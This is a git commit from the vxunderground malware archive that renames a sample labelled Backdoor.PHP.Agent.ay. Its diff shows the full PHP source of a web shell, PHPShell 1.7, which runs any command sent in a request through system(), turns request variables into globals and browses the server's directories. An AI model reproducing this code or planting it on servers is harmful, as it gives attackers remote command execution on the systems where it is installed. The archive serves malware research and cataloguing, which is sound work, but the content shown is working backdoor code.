Rename Backdoor.PHP.Agent.ay to Backdoor.PHP.Agent.MartinGeisler

This commit is contained in:
vxunderground 2020-10-15 00:18:28 -05:00 committed by GitHub
parent 8ba77fb546
commit 475aa5fd7a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,6 +1,6 @@
<?php
define(´PHPSHELL_VERSION´, ´1.7´);
define(´PHPSHELL_VERSION´, ´1.7´);
/*
@ -43,8 +43,8 @@ Place - Suite 330, Boston, MA 02111-1307, USA.
<?php
if (ini_get(´register_globals´) != ´1´) {
/* We´ll register the variables as globals: */
if (ini_get(´register_globals´) != ´1´) {
/* We´ll register the variables as globals: */
if (!empty($HTTP_POST_VARS))
extract($HTTP_POST_VARS);
@ -59,12 +59,12 @@ extract($HTTP_SERVER_VARS);
if (!empty($work_dir)) {
/* A workdir has been asked for */
if (!empty($command)) {
if (ereg(´^[[:blank:]]*cd[[:blank:]]+([^;]+)$´, $command, $regs)) {
if (ereg(´^[[:blank:]]*cd[[:blank:]]+([^;]+)$´, $command, $regs)) {
/* We try and match a cd command. */
if ($regs[1][0] == ´/´) {
$new_dir = $regs[1]; // ´cd /something/...´
if ($regs[1][0] == ´/´) {
$new_dir = $regs[1]; // ´cd /something/...´
} else {
$new_dir = $work_dir . ´/´ . $regs[1]; // ´cd somedir/...´
$new_dir = $work_dir . ´/´ . $regs[1]; // ´cd somedir/...´
}
if (file_exists($new_dir) && is_dir($new_dir)) {
$work_dir = $new_dir;
@ -79,8 +79,8 @@ if (file_exists($work_dir) && is_dir($work_dir)) {
chdir($work_dir);
}
/* We now update $work_dir to avoid things like ´/foo/../bar´: */
$work_dir = exec(´pwd´);
/* We now update $work_dir to avoid things like ´/foo/../bar´: */
$work_dir = exec(´pwd´);
?>
@ -88,15 +88,15 @@ $work_dir = exec(
<p>Current working directory: <b>
<?php
$work_dir_splitted = explode(´/´, substr($work_dir, 1));
$work_dir_splitted = explode(´/´, substr($work_dir, 1));
echo ´<a xhref="´ . $PHP_SELF . ´?work_dir=/">Root</a>/´;
echo ´<a xhref="´ . $PHP_SELF . ´?work_dir=/">Root</a>/´;
if (!empty($work_dir_splitted[0])) {
$path = ´´;
$path = ´´;
for ($i = 0; $i < count($work_dir_splitted); $i++) {
$path .= ´/´ . $work_dir_splitted[$i];
printf(´<a xhref="%s?work_dir=%s">%s</a>/´,
$path .= ´/´ . $work_dir_splitted[$i];
printf(´<a xhref="%s?work_dir=%s">%s</a>/´,
$PHP_SELF, urlencode($path), $work_dir_splitted[$i]);
}
}
@ -110,15 +110,15 @@ $dir_handle = opendir($work_dir);
/* Run through all the files and directories to find the dirs. */
while ($dir = readdir($dir_handle)) {
if (is_dir($dir)) {
if ($dir == ´.´) {
if ($dir == ´.´) {
echo "<option value="$work_dir" selected>Current Directory</option> ";
} elseif ($dir == ´..´) {
} elseif ($dir == ´..´) {
/* We have found the parent dir. We must be carefull if the parent
directory is the root directory (/). */
if (strlen($work_dir) == 1) {
/* work_dir is only 1 charecter - it can only be / There´s no
/* work_dir is only 1 charecter - it can only be / There´s no
parent directory then. */
} elseif (strrpos($work_dir, ´/´) == 0) {
} elseif (strrpos($work_dir, ´/´) == 0) {
/* The last / in work_dir were the first charecter.
This means that we have a top-level directory
eg. /bin or /home etc... */
@ -129,7 +129,7 @@ directory... Trust me - it works :-) */
echo "<option value="". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."">Parent Directory</option> ";
}
} else {
if ($work_dir == ´/´) {
if ($work_dir == ´/´) {
echo "<option value="$work_dir$dir">$dir</option> ";
} else {
echo "<option value="$work_dir/$dir">$dir</option> ";
@ -152,12 +152,12 @@ closedir($dir_handle);
<?php
if (!empty($command)) {
if ($stderr) {
$tmpfile = tempnam(´/tmp´, ´phpshell´);
$tmpfile = tempnam(´/tmp´, ´phpshell´);
$command .= " 1> $tmpfile 2>&1; " .
"cat $tmpfile; rm $tmpfile";
} else if ($command == ´ls´) {
/* ls looks much better with ´ -F´, IMHO. */
$command .= ´ -F´;
} else if ($command == ´ls´) {
/* ls looks much better with ´ -F´, IMHO. */
$command .= ´ -F´;
}
system($command);
}
@ -171,7 +171,7 @@ document.forms[0].command.focus();
</script>
<hr>
<i>Copyright © 20042005, <a
<i>Copyright © 20042005, <a
href="mailto: [YOU CAN ENTER YOUR MAIL HERE]- [ADDITIONAL TEXT]</a></i>
</body>
</html>
</html>